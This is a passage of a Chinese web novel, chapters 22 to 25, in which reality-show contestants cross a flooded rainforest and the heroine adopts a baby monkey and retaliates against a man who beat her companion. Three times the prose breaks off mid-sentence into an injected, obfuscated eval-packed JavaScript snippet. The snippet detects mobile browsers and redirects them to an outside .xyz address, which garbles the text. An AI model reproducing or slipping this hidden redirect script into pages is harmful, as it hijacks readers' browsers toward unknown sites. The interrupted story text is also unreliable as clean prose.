虽不解,但云媞还是伸手虚虚环住他的腰身,“不要怕。” 崔达倏地一下,脸烫得不像话。 要是有光照过来,甚至能看到他的头顶正在冒热气。 这似乎是人生中最漫长的时刻,连脑子都放起了走马灯。 “虽然你的肌肉是真的,但还是菜。” 云媞“哥俩好”似的象征性拍拍他的后背,“人菜就要多练。” 好了,走马灯卡壳了。 云媞自己也没想到仅两秒的短暂拥抱,能让男人拥有回光返照般的奇妙体验。 例行公事一样,她抱完,转身就走。 正前方头顶,传来嫩枝折断的脆响。 云媞抬眸,正对上一双琥珀色圆瞳。 一只落单的白臀叶猴幼崽藏在树冠中,怯怯地探出毛茸茸的小脑袋。 22. 第 22 章 “抱歉云媞。” 分别之际,崔达终于开口:“之前是我有眼无珠,小瞧你了,希望你不要……” 他指的不仅是这次,还有上次沙尘暴,他也笑过云媞神神叨叨不自量力。 本想说“不要放在心上”,陡然忆起曾有人也这样说过,结果换来云媞一句“根本不记得你”。 不知为何,崔达不太希望从云媞口中听到这句话。 他的口风急转直下,破罐子破摔似的狠狠鞠了一躬,“希望你不要懈怠,一直保持这样健康、强壮的身体,走到最后!” “你别说了,”云媞打断他的话,眼神格外真诚,“小说和电视剧里一般说这种话的,马上就要死了。” 这话说的。 不过……好像确实有点像临终遗言啊。 五大三粗的壮汉挠了挠头,有些不好意思,“好,不说了,以后有啥事叫我就成,我指定帮。” 说完,他跳上船。 脖颈红了一片。 * 云媞一上船,其他几人迅速围过来。 就连一直镇守驾驶室的叶玄,也伸长脖子往外看。 但有人更快。 像一阵疾风似的,撞开所有人。 “有没有哪里受伤?或者感到痛痒?” 黎星言不由分说,攥着云媞的手腕往船舱走。 将她按到最近的沙发上。 黎星言蹲在地上,径直撩起她的裤腿。 他知道,雨林里的毒物防不胜防。 牙签鱼,体色透明,拇指大小,潜藏在水中很难被发现,一旦扎进人体内,能一直存活并不断繁殖,直至将人体内的血吸干榨尽。 箭毒蛙,同样不起眼,毒素却足以让十个成年人丧命,有时仅仅碰到就会中毒。 毒蜘蛛,咬上一口就能令人呼吸急促,心脏麻痹而死。 更不用说毒蛇鳄鱼巨型蜈蚣这些。 甚至潮湿的地表,真菌和细菌也是无孔不入,如果不小心刮破皮肤,细菌侵入人体,也会导致感染死亡。 这些黎星言早就了解,但那只是停留在书本上的科普知识。 即使导演组的工作人员劝他离开时,反复强调过雨林的可怖之处,他也从未当回事儿。 时至今日,此时此刻。 他才真正领会到“惧怕”。 将云媞的脚搁在膝上,用备好的干净温毛巾细细擦拭。 即使自己的衣摆、裤腿,几乎被浑浊不堪的泥水浸透,黎星言也浑然不觉。 看到眼前这幕,贺君卓和明娇娇等人互相递了个八卦的眼神,自觉关上舱门。 班列靠站在门外,面无表情,谁喊都不理,也不知道在想什么。 像一尊安静的守护兽。 – 这个姿势实在奇怪。 强忍着一鞭腿甩黎星言脸上的冲动,云媞微抬脚趾,戳了戳他的小腹。 “我没有受伤。” 即使有,也用不着这么兴师动众,豹豹的自愈能力一向强大。 “可是雨林里腐烂的动植物,也会发出毒素,下雨天扩散得更快。” 为什么要下船,为什么要涉险,为什么从来不把自己的身体当回事儿。 黎星言越想越后怕,想要好好说道一番。 一抬头,却见女孩一脸淡然,“那咋了?不呼吸了?” 千言万语堵在心口。 问那么多为什么,他不如问问自己,为什么如此废物。 既不像叶玄那样无所不能,又不像班列那样机敏果决。 他练的好身材,只是绣花枕头空有其表,肩不能扛手不能提,连自保的能力都没有。 甚至刚才一股脑想要陪她一同下船,都被大家拦住,说“不要添乱”。 黎星言明白,他没有理由更没有资格,让云媞停下。她来这儿的目的很明确,她要拿冠军,她不是来玩的。 这里所有人,都有自己的坚持。 只有他在混。 黎星言垂下眼睑,声音听起来闷闷的,“对不起,我拖大家后腿了。” “什么意思?” 云媞看了眼脚下,不解:“明明是我踩你大腿了。” 简直对牛弹琴。 “你……” 文艺男黎星言收回刚才的感伤,叹了口气,低头帮云媞穿好袜子,再套进雨靴,“想做什么就做什么吧。” 媞媞,我会努力跟上你的脚步。 * 骤雨初歇。 前方水势终于逐渐平缓。 寂静到诡异的雨林,只剩树叶上的水珠落在船檐时,淅淅沥沥的细微声响。 越安静,越危机四伏。 刚出舱门,云媞直觉不对劲。 转身的一瞬间,一阵凌风袭来。 尖锐凄惨的叫声霎时响彻林间。 云媞下意识偏头,抬手。 是那只白臀叶猴幼崽。 它撕扯着嗓子,两只长臂抓着垂下的藤蔓荡来荡去,最后稳稳跳到云媞手背,一溜烟,顺着胳膊爬到肩上。 抱住云媞的脖子后,猴崽安静下来,不叫了。 炸起的毛发也变得软趴趴,格外柔顺。 “怎么了怎么了!” 刚睡着的其他人纷纷操起家伙跑出来,拿短刀的、举煤油灯的,以及……捧着瓶防晒喷雾的明娇娇。 只有班列慢悠悠从船后走出来。 猴崽一见他,又开始激烈地叫。 怎么有只小猴子! 不是,怎么小猴子见到班列,叫得那么惨! 所有人的目光都投向这位始作俑者。 “怎么回事?” 云媞一边问班列,一边轻抚猴崽的脑袋。 小猴乖乖地把头埋进她的脖间,呜咽一声,听起来委屈得很。 “这猴子一直跟着我们船,还偷偷躲到船舱后面,”班列耷拉着眉眼,也很委屈,“我就想着抓了它,给姐姐烤着吃。” 刚才在林间,姐姐分明也看到了这只猴子,她看到的生物就没有不吃的道理。 但猴子盘踞树上,不好下手。本来打算放它一马,没想到它自投罗网。 此时不抓,更待何时。 “我靠!法外狂徒啊你!”贺君卓瞪大双眼,“这可是世界保护动物!” 一个个的,都什么法盲。 云媞低头,与猴崽四目相对。 「你也是保护动物?」 猴崽眨了眨圆溜溜的大眼睛,颇自豪地仰头挺胸,「素的,麻麻。」 也许是猴子太有灵性,云媞竟神奇地读懂了它的表情,毫无障碍。 嗯…… 这个世界上,怎么这么多保护动物。 明明人类身体最脆皮,却只能做牛马。 劳动法也保护不了。 贺君卓义正言辞说完,肚子咕噜响了一声。 他不好意思地扣了扣额头,“不过话说回来了……” “人在快饿死时吃掉保护动物充饥,属于紧急避险,法律也不能太苛刻哈……” ! 猴崽瞪大眼睛,咧嘴朝贺君卓哈气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129845|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后扒开云媞的衣领钻了进去。 那块鼓起的地方,仍颤抖个不停。 “诶!你这色猴!”黎星言不干了,伸手就要去抓,“往哪儿钻呢你!” 明娇娇拍掉他的手,怒呵:“你往哪儿抓呢!” 场面一度混乱。 只有置于漩涡中央的云媞,淡定得像个没事人。 她托着猴屁股,径直往船里走,“先收着吧,明天再说。” 话音刚落,猴崽从衣内钻出来,小爪子搭在云媞肩上,露出一颗毛茸茸的脑袋。 那双圆圆的眼睛转来转去,直到将身后这几人盯得起毛了,它才歪头蹭了蹭云媞的脖颈。 「我的!」 黎星言无能狂怒,对着空气打了套军体拳。 倚小卖小、小不正经! 树梢。 绞杀榕苍白的根须间,一根蛇藤窸窣蠕动。 随着无人机镜头推动。 蛇藤自然垂下。 这根本不是藤蔓!而是一条正在蜕皮的翡翠森蚺! 半透明的蛇皮挂在枝杈间,新生鳞片在闪烁的红点中,泛着诡异的光泽。 长达二十米的森蚺,悄无声息地潜行在树与树之间。 那是船队驶离的方向。 直到猴叫声渐行渐弱。 森蚺停下,盘踞在婆娑树的冠层,继续打起盹。 倒霉,今天送到嘴边的晚餐,跑了。 * 离地图上的地标参照物,还有上百米的距离。 螺旋桨突然发出金属断裂的脆响。 像被掐住脖子的鸟,引擎熄火了。 天蒙蒙亮。 叶玄对照指南针,望向不远处。 雨林里少见的空地,因为暴雨,几乎积成一滩池塘。 此时,其他人陆续醒来,简单洗漱后出舱。 贺君卓伸了个懒腰,“哟,到了?” 再睁大眼…… 还不如闭上。 雨林的河道经常因雨改道,他们航行的这条原有河道已经被暴雨冲毁,船只搁浅。 也就是说,他们只能下船,徒步穿过这片泥泞地。 据目测,积水应该没过膝盖了。 肥沃的黑土冲刷到上层,朽木枯枝也浮在水面,更不知道水下多少生物嗷嗷待哺。 听完贺君卓的描述,明娇娇和马育铭齐刷刷地脸色苍白,胃部翻涌,恨不得将昨晚摄入不多的晚餐哕出来。 “言哥?” 见黎星言表情异常平静,贺君卓以为他没睡醒,还在神游呢。 将手伸到对方眼前,挥了挥,眼神担忧,“你怎么办?” 最不放心的就是黎星言这金贵之躯,山地资源再匮乏,好歹没有卫生问题。可这雨林……实在是太脏了。 他自己都有点受不了,更何况小少爷这病入膏肓的洁癖症。 “什么怎么办?” 果然没听。贺君卓正要将刚才的话复述一遍。 谁料,黎星言淡定开口:“不就是淌过去吗?有什么好怕的,大惊小怪。” 云媞挑眉,看向他。 如愿以偿吸引到老婆的视线,黎星言挺直腰板,轻咳一声,“来这儿不就是为了挑战自我吗?怂货趁早回家吧!” …… 死装男。 贺君卓默默翻了个白眼,但心底莫名感到欣慰。 至少拖油瓶进步了不是。 是吗? 云媞揉了揉耳根。 某人吵出天际的心跳声,似乎不是这么说的。 23. 第 23 章 “真的要下船吗?” 后面几艘船的选手们看到眼前的景象,杵在船头不敢轻举妄动。 实际上,并非一定要与他们同行,只是叶玄所在那艘船出了故障,无法继续前行。 叶玄思忖片刻,联系崔达:“你们可以掉头去寻别的河道。” 顿了下,扭头又跟云媞他们说:“其实……你们要是不愿意,也可以换乘他们的船,每艘船多加一个人而已,应该能够负担。” 他面上闪过一丝纠结,最终还是补充了一句。 “不过,直接从这里淌过去的话,路程能缩短一半,也可以减少换河道的未知风险。” “你是在挽留我们吗?” 明娇娇早已看透,“不想让我们跟别人走就直说。” 叶玄低头轻笑。 他再直男,也感觉得出明娇娇最近似乎和他有所疏离,虽不知具体原因,但他也只当小姑娘在闹脾气,不必过于计较。 毕竟,她是需要人保护的妹妹。 “与我一道的话,我会尽量保证大家的安全。” 叶玄一一看过去,最后,目光停在云媞身上。 黎星言瞬间炸毛,就跟爆爆一样。 哦,爆爆是他给那只猴崽取的名字,因为它叫起来像炸弹一样,时不时尖锐爆鸣。 “你谁啊,还保证大家安全,简直可笑!” 黎星言错身,不动声色挡住云媞,“大家都有手有脚的,谁比谁差!” 装货!再看我老婆,把你眼珠子扣掉! 这气势,挺像那么回事。 下一秒,云媞推开他,“遮我视线了。” 爆爆也从背包里探出头,有样学样地扒拉两下。 “哦哦,对不起。”黎星言乖乖挪开身子。 很好,全然破功。 默默吃瓜的贺君卓忍不住扶额苦笑,还真是一物降一物。 最后,有三艘船掉头改道。 其余几艘选择跟着大部队。 崔达和苏简没走,可以理解,他们本就和叶玄关系不错。 更令人惊讶的是,恶人团那几人竟也没走。 众人匪夷所思。 不过,现在也不是考虑这个的时候。 眼下最重要的是,如何安全淌过这片泥泞地。 叶玄打头阵,最先下船。 积水漫过小腿肚,他缓步踩了一下,提醒道:“土地松软,踩上去会下陷,一定要留意。” 话没说完,云媞直接跳了下去。 吓得船上一群人下意识伸手。 只见女孩像猫一样,鞋尖点地,步履轻盈地走出半米。 积水没过她的膝盖,但她走得优雅又轻松,丝毫没有拖泥带水的沉重感。 “真不愧是媞姐啊。” “媞妹真厉害!” “叶哥,看来是你说的有点夸张了吧。” …… 似乎受到了鼓舞,好几人也学着云媞,急不可耐跳下来。 好家伙,整个脚踝直接陷进泥里,强大的吸力附在脚上,拔都拔不出来。 还是其他同伴好心,拔萝卜似的合力拽了半天,终于费劲上岸。 晨雾在树冠间隙流淌,将光线筛成青灰色的绸缎。 选手们陆续下船。 叶玄在最前面带路,崔达断后,云媞和班列在中间观察把控全局,这是大家集体商讨出来的方案。 纸上谈兵再精细,但下了船到底是不一样的体验。 好些人走几步就不敢动了。 说感觉身上有虫子在爬,有蛇擦过自己脚踝,还有人说,鳄鱼正在草丛里暗中观察。 听到这些话,明娇娇站在甲板犹豫不前。 云媞在船下,伸手,“下来吧,没事的。” 只要跟在她和班列的周围,应该不会有蛇虫敢靠近。 船下的女孩自信从容,游刃有余,好像没有任何事能脱离她的掌控。 这是明娇娇最向往,但也最不敢奢望的姿态。 顺着她的根系往上攀爬吧,即使那终究不可能是自己的,但也算得上是—— “好风凭借力,送我上青云。” 不是吗? 白皙莹润的手,贴上那只有些偏黑、不算柔美的手掌。 明娇娇释然一笑,“媞媞会保护我吗?” 云媞思考两秒。 如果站在她身边就算是保护的话。 那么…… “会的。”云媞点头。 好不容易送走明娇娇,后面还有个黎星言。 也不知道谁惹他了,脸臭得跟脚下的腐殖土有得一拼。 “媞媞~会~保护~我~吗~” 他瘪嘴,摊手,阴阳怪气地模仿明娇娇刚才的语气。 “你妈应该不用我保护,”云媞一脸认真,“但我会保护好你。” 这是他妈的嘱托。 豹豹一定不辱使命。 “谁、谁要你保护啊!” 黎星言瞬间红温,说话都变得结巴起来,“开什么玩笑?我…我需要保护?” 虽然内心是窃喜的,甚至感到一丝甜蜜。 但让心爱的女孩保护,是为人所不齿的。 他不能再让云媞看扁自己。 望着船下令人作呕的污水,黎星言眼一闭心一横,就要往下跳。 一只手覆上他的小腿,按住他的动作。 “先等等。” 睁眼。 云媞跳上船,蹲在他脚边,顺着脚踝一直往上摸。 黎星言还不知道发生了什么,等反应过来时,整个人都湿了。 是汗,浸湿的。 “你、做、做什么?”黎星言整条腿都麻了,不敢轻举妄动。 他现在已经基本摸清了云媞的路数,那就是……没有路数! 言行举止全凭随心所欲,别谈什么情感道德,连最起码的男女有别都不知道。 他只能努力抑制内心的悸动,不要再像之前那样“自作多情”。 果然,云媞抬起头,眼里没有任何旖旎之感,“这条裤子太薄,裤腿宽松,容易有东西钻进去。” 别人被钻没事,但黎星言不行,他看起细皮嫩肉的,很容易受伤。 在雨林里受伤,那是大事。 想到这里,云媞从贺君卓手边接过行李箱,径直打开。 挑挑拣拣后,捻起一条紧身裤,“换这个。” 什么啊!秋裤啊! 贺君卓“噗嗤”笑了。 在云媞迷惑以及黎星言震怒的目光扫射下,他压下嘴角,装作若无其事地移开眼。 “……会热。”黎星言弱弱开口,试图挣扎。 云媞“哦”了一声,“单穿不行吗?” ……谁秋裤外穿啊! 不是!他脑子抽了吗?到底是为什么要往行李箱里塞条秋裤! “给你三分钟,进去换条裤子再出来,”没有商量余地。 云媞甚至皱眉,扯了扯黎星言的外裤,“这条破洞的也不要,你很穷吗?裤子烂了也不舍得扔。” 老天奶啊! 贺君卓忍笑忍得浑身抽搐,实在顶不住了。 他扭曲着声线,拍了拍行李箱,说:“言哥,还有要拿的吗?没有的话,我先拎走了。” 这得连夜扛箱子跑路,必须! 不然要被黎小少爷杀人灭口了。 最后,黎星言不情不愿地换好,出来。 云媞又将他从下到上摸了一遍。 这次黎星言已经能够做到心如止水了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129846|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见她定定地看了数秒,沉声道:“抱抱。” 止不了一点!根本止不了! 黎星言霎时脸涨得通红,扭扭捏捏了好几秒。 最后娇羞地偷瞄一眼,像被对方的视线烫到一样,倏地垂下颤抖的眼睫,“大、大庭广众的……好吧,那就勉为其难……抱一下吧。” 刚抬起胳膊。 云媞一脸漠然地挡住他,“你干什么?我在叫爆爆出来。” 爆爆也从背后包里探出脑袋,圆圆的眼珠子提溜转,一副看好戏的鬼精模样。 …… 三百六十行,行行整破防。 黎星言木着脸,心道:这辈子再也不被云媞戏耍的前提是,不做普信男。 下船后。 云媞突然想起什么。 从身后背包里掏出一件自己穿过的脏衣服,顺手摸了摸爆爆的脑袋,将衣服递给黎星言,“套在身上吧。” 自然界的生存法则:沾染猛兽的气息越浓,其他低级动物越不敢靠近。 虽不知现在是否还奏效,但……可以拿黎星言做个实验。 可怜的黎星言对此毫不知情。 他小心翼翼捧着云媞的原味外套,眼底闪过激动的泪花。 这次我一定没有会错意!就是老婆怕我冷!主动给我披衣服! 这不是爱是什么! 强制爱,也是爱! 什么心如止水,明明是爱如潮水! 他要掀起波澜! * 拖拖拉拉半小时。 大部队终于动身。 一行人自觉排成纵列,缓慢横跨这片泥泞池地。 没有参天大树的遮蔽,日头高悬,晃得人睁不开眼。 参照物只有四面八方的丛林,分不清脚下哪里是坑洼,哪里是暗河,每一步都如履薄冰。 爆爆坐在云媞肩上,四处观察,一有细微动静就吱吱叫一声。 像智能监控摄像头似的,还会自动报警那种。 “嘿,有没有发现,我们现在好像那部电影《狂蟒之灾》里的场景。” 贺君卓擦掉额头的汗,呲个大牙笑,“也是一群人淌过沼泽地,也有个小神兽一样的可爱猴崽。” 甚至人物配置都差不多:一定会存活到最后的大女主云媞,英勇善战的男主叶玄,高富帅痴情男配黎星言,基于政治正确的必备“黑哥”班列,漂亮性感的女明星明娇娇,还有…… “还有我们这种,前期用来活跃气氛的搞笑炮灰,到了高潮第一个嘎。” 马育铭咽了咽口水,莫名心慌,“小贺,要不你还是别说了,我咋感觉我活不了多久了呢……” “对啊!闭嘴吧你!”黎星言拧眉。 马育铭:“黎少爷,还是您心善。” “凭什么我是男二!那装货是男主?”黎星言瞪了贺君卓一眼,满脸不爽,“我黎星言就没有给人做配的可能!” 更没有把女主媞媞拱手让人的可能! 就算真是男二,他死缠烂打,抢也要抢到手! …… 马育铭:原来刚才只是为了争番才仗义执言啊,白感动了。 “我又没说言哥是男配……”贺君卓越说越没声,最后抿紧嘴巴,暗自腹诽。 谁对号入座了,我不说。 走在前面的云媞,忍不住扭头:“你们都知道这部电影?” “这么经典的老片,不看不是华国人。”贺君卓笃定点头。 云媞看向明娇娇,“你也看过?” 见到对方的笑眸,云媞与同样心虚的班列对视一眼。 完了,在场的还真只有他俩没看过。 不过问题不大,反正他俩也不是华国人。真要算下来,应该属于…… 非洲人??? 24. 第 24 章 前面带队的叶玄已平安上岸,站在林中朝大伙儿挥手。 “没有危险,加快速度!” 落在后面的选手们心踏实了一大半,急不可耐往前冲。 泡在泥潭里的滋味太难受了,总感觉水底有什么东西,虎视眈眈地盯着自己。 几人很快超过云媞。 越行越远。 两米不到的距离,就要上岸了。 叶玄面上的笑意突然凝固。 他敛眸,脸色稍沉,“别动。” 几人霎时僵硬,站在原地,“什、什么啊……” 叶玄将食指竖在唇上,示意他们安静,另一只手不动声色地覆上腰后。 “啊!那是不是一条蛇啊!” 站在叶玄旁边的人也看到异常,大叫一声。 泥潭里的几人瞬间慌了,拔腿就跑。 慌不择路之下,泥水四处飞溅,刹那间将平静的水底,搅得天翻地覆。 长蛇被惊扰,开始无差别攻击起来。 “啊啊啊啊它它它、从我腿边擦过去了!啊啊啊啊好恶心的触感啊!” “叶哥叶哥!救我啊!” “我好像……被咬了!” 还有人扭头就往云媞的方向狂奔,“媞姐!救命!” 尽管隔了上百米,明知于事无补。 极度混乱中,叶玄凝神静气,没有受到外界丝毫干扰。 观察长蛇穿行的轨迹,握紧军刀,直到水面再次透出一丝光泽。 他飞扑进泥潭,抬手,狠狠插进去。 霎时,一滩血浮出水面,染红一片。 一条长达两米的蛇,直击七寸,一招毙命。 像凝望英雄凯旋般,岸上人倒吸一口凉气,直到叶玄拖着蛇头上了岸,才爆发出欢呼。 没过多久,云媞等人顺利抵达。 一条又肥又长的蛇,就这么规规整整铺在地上。 吓得黎星言和贺君卓差点抱头鼠窜。 只知道前方发生了一点小插曲,战况激烈,但也没想到这么激烈啊! “叶哥,我真的不会死吗……” 被蛇咬了一口的选手,还在含泪哀嚎。 叶玄无奈摇头,但仍很有耐心,“不会,我说过了,那蛇没毒。” 走到蛇尸旁边,叶玄单膝蹲下,动作娴熟地将蛇身翻了个面,比划道:“头部的背面棕黄色,跟黑色的鳞缘和鳞沟形成王字黑斑,这是王锦蛇。国内习惯叫它菜花蛇。” “一里菜花蛇,十里无毒蛇”。不仅自身无毒,还因为生性好斗,动作敏捷,攻击力强等特性,成为大多数毒蛇的天敌。 “喏,正好媞媞来了,不信的话可以问问她。” 叶玄以为云媞应当认识这种蛇类,毕竟小姑娘一向神通广大。 面对突然抛来的话头,黎星言暗自腹诽:高级装货。 早不说晚不说,偏偏等到媞媞来了,才在这儿装模作样地大秀知识,演给谁看。 算了,无所不能的聪明媞媞,对这些肯定也信手拈来。 谁知,云媞手撑下巴,煞有其事地围着蛇身转了一圈,“好肥,看起来挺好吃。” 爆爆抱住她的脖子,小肚子也咕噜响了起来。 尽管蛇肉并不在它的食谱。 泪眼汪汪的选手:? “媞姐!我都快吓死了,您还在这儿思考清蒸还是碳烤,这对吗?”选手向她投去信赖的目光,“快,告诉我,这蛇没毒,我现在最相信的就是你了!” 被委以重任的云媞思忖半秒,“不认识。” 打了过狼、识得了天气、砍得断胳膊粗的树藤,竟然还有云媞不知道的事? 不信…… “不过的确没毒。”云媞咋舌。 “哇怎么判断的?!” “这很难吗?”云媞淡淡瞟了那人一眼,“过去这么久你都没死,要真有毒,那你还挺难杀的。” 还叫那么大声那么激动,有毒早加速扩散了。 本来是一句极没情商且容易触人霉头的话。 可那人一听,瞬间来劲儿了,“对啊!对啊!” 刚才还一副命不久矣的虚弱样,现在竟能直接站起来抱着云媞的手高呼“神医”。 气得黎星言脸都绿了。 好小子好小子,好一个图穷匕见,趁乱揩油是吧。 “你给我撒开!” 一群通过了云媞的服从性测试,并被成功驯化的可怜人类。 笑骂间,崔达带队的一行人也到了。 与叶玄点头示意后,他下意识先问云媞:“还好吧?” 站在这儿的,哪个能有不好的。 无非是憋了一晚的直男,想方设法找机会多说几句话罢了。 黎星言只觉得人麻了:情敌就像屋子里的蟑螂,发现了一只,说明还有无数只躲在暗处。 杀不完,根本杀不完! * 望不到边的森林,湿度极大,走两步,衣服就被水气浸湿。 但大家都一样邋遢,谁也不嫌弃谁。 围在一起点篝火、分享蛇肉,再绘声绘色重现叶玄斩杀巨蛇的英姿,直夸他身经百战懂得多。 听得黎星言直翻白眼。 还好媞媞带爆爆觅食去了,也还好叶玄去探路了,不然他还真怕这群叶吹,给媞媞和那装货吹对眼了…… 三两热血就上头。 有人讲起自己为什么来参加这个比赛,讲自己凄惨的原生家庭,讲因为没钱被女朋友/老婆戴绿帽,讲被社会漠视抛弃背叛的仇恨源泉…… 几人称兄道弟、抱头痛哭,像找到了世界上最懂自己的知音。 黎星言对此不齿:怪社会、怪家庭、甚至还怪到女人头上,却把自己摘得干干净净,算什么男人。 也许是少爷的轻蔑太过扎眼,刺痛了“失败者”最不堪一击的底线。 几人当场指着黎星言,口无遮拦:“黎大少爷,你也别拿这种眼神看我们,所有人里面,最让人瞧不起的,是你。” “是,天之骄子,有钱有势,受人追捧,但那是因为你有个好爹妈,没了他们你算什么?” “上知天文下肢瘫痪,要不是有钱,雇那么多人给你擦屁股,单凭你?爬都爬不到这里!” “你凭啥瞧不起我们?你有啥资格笑话我们?你问问你身边那些人,要是没收你点好处,能死心塌地跟着你吗?” 骂吧骂吧。黎星言不为所动。 他从不在意别人如何描述自己,因为他知道,自己并没有外人口中那么差劲。 全球顶尖电影学院导演系在读大三生,在校期间拍的作品就已入围戛纳电影节,黎星言的艺术才华毋庸置疑。 但显然,在绝对武力竞技环境下,谈论这些不过是夏虫语冰。 所以,对于这样的挑衅,黎星言不屑置辩。 不仅如此,他还拦住愤怒的贺君卓和马育铭,颇显气度。 但这一举动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129847|180239||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在渣滓面前,便变成了蹬鼻子上脸。 “没用就算了,还是一恋爱脑,天天跟在媞姐屁股后面跑,要我说,你这废材,人云媞能瞎了眼,不选叶哥选你?” ……? 就像雨林的天气,群体里的氛围同样阴晴不定、说变就变。 前者被大自然的光合作用控制,而后者,被社会的乌合之众煽惑。 云媞回来时,明显感觉氛围不对。 走时还围坐一团的选手们,此时分为两波阵营。 黎星言孤零零地坐在一棵树下,用手挡着脸。 贺君卓、马育铭还有明娇娇站在不远处,神色担忧。 见她来了,纷纷上前,欲言又止。 “怎么了?”云媞问。 爆爆攀上藤蔓,顺着树干,跳到黎星言肩上。 歪歪头,凑到他面前。 黎星言随即侧过脸,手上动作却很温柔地推开爆爆的脑袋。 班列观察两秒,得出结论:“被打了。” 爆爆吱吱一声:「没错!」 “我没有!” 黎星言急着挽回形象,一转头。 额角一块红肿,嘴角破皮流血,颧骨隐隐也有些发青。 “我、我也打回去了……”黎星言小声嘀咕,“别把我想的那么菜……” “谁打的?” 云媞脱下背包,甩给班列。 顺着贺君卓悄悄指认的手势,她径直走过去。 居高临下问:“是你吗?” 那人正坐在地上和同伴吹牛逼。 面对陡然出现的这么一张极具压迫性的漂亮脸蛋,第一是发愣,第二才反应过来是云媞。 他跟云媞此前没有交集,每次都是远远看着。只知道她行事作风很猛,皮肤有些黑,原以为是个无盐女,没想到长得还别有一番风情。 这么一看,那弱鸡小白脸更不配了。 “呵,黎星言那怂蛋告状了?是我……” 「怎么了」还没说出口。 云媞一脚踹在他胸口,直接将人踢翻。 额角一鞭腿,嘴角一巴掌,颧骨再来一拳头。 三处,不多不少,一气呵成,收手。 事情发生在五秒内。 快到其他人还没回过神。 “谁再敢动黎星言。” 云媞从口袋掏出那把手枪,在指尖旋了一圈,指向瘫倒在地的男人,“别怪我不客气。” 这是贺君卓教的装逼必备台词。听说配合着手枪军刀一起,威力更大。 看大家的表情反馈。 贺老师所言不虚。 云媞走后,其他人仍心有余悸。 三三两两坐在一起时,忍不住窃窃私语起来。 媞姐武力值强归强,那也是真护短啊。 唉,一直跟着她的选手们有福了。 不过……爱上花瓶是什么玛丽苏必备设定吗? 媞姐怎么看,都和叶哥更配吧? – 另一边,“恶人团”也目睹了这场精彩大戏。 沈泰兀自低头笑出声,抬起胳膊,搭在吴光豪的肩上,“挺有趣的,是吧?” 或轻或重地捏了捏后脖颈那块软肉,语气淡到几乎听不见,“下不为例。” 项雄挑眉,看了眼沈泰,又望了望黎星言和云媞。 每个人神色各异。 只有张静敏,默默盯着云媞手里那把枪数秒,收回视线。 25. 第 25 章 一般而言,在其他地方迷失方向,需要顺流而下,找到人群聚集点。 但叶玄和崔达探路时发现,这里整条河最终都会消失在地下。 这种特殊地势,只有沿着河流往上游走,朝山上肥沃的山坡前进,才能走出雨林,找到人类生存的痕迹。 雨林的阳光珍贵,以分秒计算。 两人回来后,完全顾不上观察“团队”里的怪异氛围,吆喝大家尽快动身出发。 最后争分夺秒赶在日光彻底消失之前,如愿寻到一条较大的溪流。 水势有缓有急,水源充足,河底鱼虾清晰可见。 这是一条活水。 河岸有片缓坡,适合临时歇脚。 见到这么干净的河流,大伙儿紧绷的情绪,总算得到一丝慰藉。 白日里淌过齐膝的泥潭,再加上林里闷热潮湿的环境,身上黏糊得滂臭。 不少人直接脱掉脏衣物,跳进河里洗个痛快。 还有人自制竹叉,站在石头上往水里叉鱼。 此情此景,黎星言也跃跃欲试。 刚跨出一步,就被云媞拎着后衣领拽了回来。 “你不行。” 看了眼黎星言脸上补丁似的几处创口贴,隐隐透出血渍,云媞莫名烦躁。 她讨厌伤痕,讨厌鲜血从自己或同伴的皮层下渗出,这让她想起了做豹时的经历。 “血腥味容易引来别的东西,”云媞淡淡地补充,“而且水温低,你会感冒。” 太弱小了。好麻烦,早知道不答应黎冉的托孤请求了。 谁不行啊!男人不能说不行! 但老婆的话也是不能不听的,更何况媞媞还为了他,出手教训那群渣滓,说明她心里还有他! 听出云媞话里的关切,黎星言又止不住想入非非。 近水楼台先得月,只要他好好表现,一定能从一众情敌中夺得头魁。 这种殷切持续到吃饭时。 云媞、班列和叶玄叉了好几条鱼,就连贺君卓他们也在附近拾到些还算新鲜的浆果。 黎星言和明娇娇不甘示弱,成功捧回……一堆毒蘑菇、毒翠果。 能在资源丰富的雨林,精准找到这么多毒物,也是有些本事。 最后,空手而归的两人过意不去,从各自的行李箱宝库里挑出了一些即食品,作为“份子钱”。 篝火燃得正旺,竹木劈啪作响,枯枝败叶焚烧的土香混在烤鱼味里,格外引人垂涎。 黎星言发现了,与速食小零食相比,云媞似乎还是更爱新鲜生肉,至于巧克力饼干那些,她更是看都不会多看一眼。 所以,其实除了最开始几天,云媞主动拿过行李箱的食物,之后一般都是自己出去猎食。 因而班列能名正言顺一直跟着她,叶玄也可以找机会与她搭档,现在还有那个崔……崔什么,也开始时不时在她眼前晃悠。 只有他。 没用的东西。 